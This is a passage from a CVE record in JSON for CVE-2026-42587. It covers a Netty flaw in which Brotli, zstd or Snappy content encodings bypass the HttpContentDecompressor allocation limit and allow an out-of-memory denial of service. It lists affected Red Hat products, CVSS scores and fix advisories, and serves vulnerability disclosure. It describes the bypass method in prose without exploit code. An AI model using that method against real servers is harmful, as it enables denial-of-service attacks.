"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk/keycloak-rhel9",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk/keycloak-rhel9-operator",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk-openshift-rhel9/rhbk-openshift-rhel9",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk-rhel9-operator/rhbk-rhel9-operator",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:optaplanner:::el6"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of OptaPlanner 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:optaplanner:::el6"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of OptaPlanner 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel6",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel7",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel8",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-modelmesh-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-spark-operator-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cpu-torch210-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cpu-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cuda130-torch210-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cuda130-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-rocm64-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-trustyai-service-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-trustyai-service-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "candlepin",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "satellite:el8/candlepin",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-05-13T18:22:21.699Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T12:04:31.543Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-42587"
},
{
"name": "RHBZ#2477220",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477220"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:53644"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:28010"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:53806"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:50085"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:42644"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:36820"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:37390"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:54435"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:53644: Red Hat JBoss EAP 7.4 ELS for RHEL 7 Server"
},
{
"lang": "en",
"value": "RHSA-2026:28010: Cryostat 4 on RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:41951: Red Hat Data Grid 8.6.2"
},
{
"lang": "en",
"value": "RHSA-2026:53806: Red Hat JBoss Enterprise Application Platform 7.4.25"
},
{
"lang": "en",
"value": "RHSA-2026:50085: Red Hat JBoss Enterprise Application Platform 8.1"
},
{
"lang": "en",
"value": "RHSA-2026:42644: Red Hat OpenShift AI 2.25"
},
{
"lang": "en",
"value": "RHSA-2026:25123: Red Hat OpenShift Dev Spaces 3.28"
},
{
"lang": "en",
"value": "RHSA-2026:36820: Red Hat OpenShift Dev Spaces 3.29"
},
{
"lang": "en",
"value": "RHSA-2026:37390: Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16"
},
{
"lang": "en",
"value": "RHSA-2026:23808: Red Hat build of Quarkus 3.27.4"
},
{
"lang": "en",
"value": "RHSA-2026:24502: Red Hat build of Quarkus 3.33.2"
},
{
"lang": "en",
"value": "RHSA-2026:34608: Streams for Apache Kafka 2.9.4"
},
{
"lang": "en",
"value": "RHSA-2026:54435: Streams for Apache Kafka 3.2.1"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-05-13T19:01:35.415Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-05-13T18:22:21.699Z",
"value": "Made public."
}
],
"title": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
},
{
"product": "netty-codec-http",
"vendor": "io.netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
},
{
"product": "netty-codec-http2",
"vendor": "io.netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T18:22:21.699Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
}
],
"source": {
"advisory": "GHSA-f6hv-jmp6-3vwv",
"discovery": "UNKNOWN"
},
"title": "Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42587",
"datePublished": "2026-05-13T18:22:21.699Z",
"dateReserved": "2026-04-28T17:26:12.086Z",
"dateUpdated": "2026-08-13T12:04:31.543Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-42587",
"date": "2026-08-19",
"epss": "0.0099",
"percentile": "0.59763"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-42587\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-05-13T19:17:24.460\",\"lastModified\":\"2026-08-13T13:18:57.117\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"netty\",\"product\":\"netty\",\"versions\":[{\"version\":\"\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final\",\"status\":\"affected\"},{\"version\":\"\u003c 4.1.133.Final\",\"status\":\"affected\"}]},{\"vendor\":\"io.netty\",\"product\":\"netty-codec-http\",\"versions\":[{\"version\":\"\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final\",\"status\":\"affected\"},{\"version\":\"\u003c 4.1.133.Final\",\"status\":\"affected\"}]},{\"vendor\":\"io.netty\",\"product\":\"netty-codec-http2\",\"versions\":[{\"version\":\"\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final\",\"status\":\"affected\"},{\"version\":\"\u003c 4.1.133.Final\",\"status\":\"affected\"}]}]},{\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\",\"affectedData\":[{\"vendor\":\"Red Hat\",\"product\":\"Cryostat 4 on RHEL 9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"cryostat/cryostat-reports-rhel9\",\"cpes\":[\"cpe:/a:redhat:cryostat:4::el9\"],\"versions\":[{\"version\":\"4.2.0-10\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Cryostat 4 on RHEL 9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"cryostat/cryostat-rhel9\",\"cpes\":[\"cpe:/a:redhat:cryostat:4::el9\"],\"versions\":[{\"version\":\"4.2.0-10\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Cryostat 4 on RHEL 9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"cryostat/jfr-datasource-rhel9\",\"cpes\":[\"cpe:/a:redhat:cryostat:4::el9\"],\"versions\":[{\"version\":\"4.2.0-10\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty\",\"cpes\":[\"cpe:/a:redhat:apache_camel_spring_boot:4.18\"],\"versions\":[{\"version\":\"codec-http\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"},{\"version\":\"codec-http2\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Quarkus 3.27.4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty\",\"cpes\":[\"cpe:/a:redhat:quarkus:3.27::el8\"],\"versions\":[{\"version\":\"codec-http\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"},{\"version\":\"codec-http2\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Quarkus 3.33.2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"cpes\":[\"cpe:/a:redhat:quarkus:3.33::el8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Data Grid 8.6.2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty\",\"cpes\":[\"cpe:/a:redhat:jboss_data_grid:8\"],\"versions\":[{\"version\":\"codec-http\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"},{\"version\":\"codec-http2\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4.25\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform:7.4::el7\"],\"versions\":[{\"version\":\"codec-http\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"},{\"version\":\"codec-http2\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-activemq-artemis\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.16.0-22.redhat_00057.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-glassfish-jsf\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.3.14-11.SP11_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-ironjacamar\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:1.5.26-2.Final_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jackson-annotations\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.18.8-1.redhat_00003.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jackson-core\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.18.8-1.redhat_00003.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jackson-databind\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.18.8-1.redhat_00003.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jackson-jaxrs-providers\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.18.8-1.redhat_00003.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jackson-modules-base\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.18.8-1.redhat_00003.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jackson-modules-java8\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.18.8-1.redhat_00003.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jboss-remoting\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:5.0.31-3.SP2_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jboss-server-migration\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:1.10.0-46.Final_redhat_00044.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-netty\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:4.1.135-1.Final_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-netty-transport-native-epoll\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:4.1.135-1.Final_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 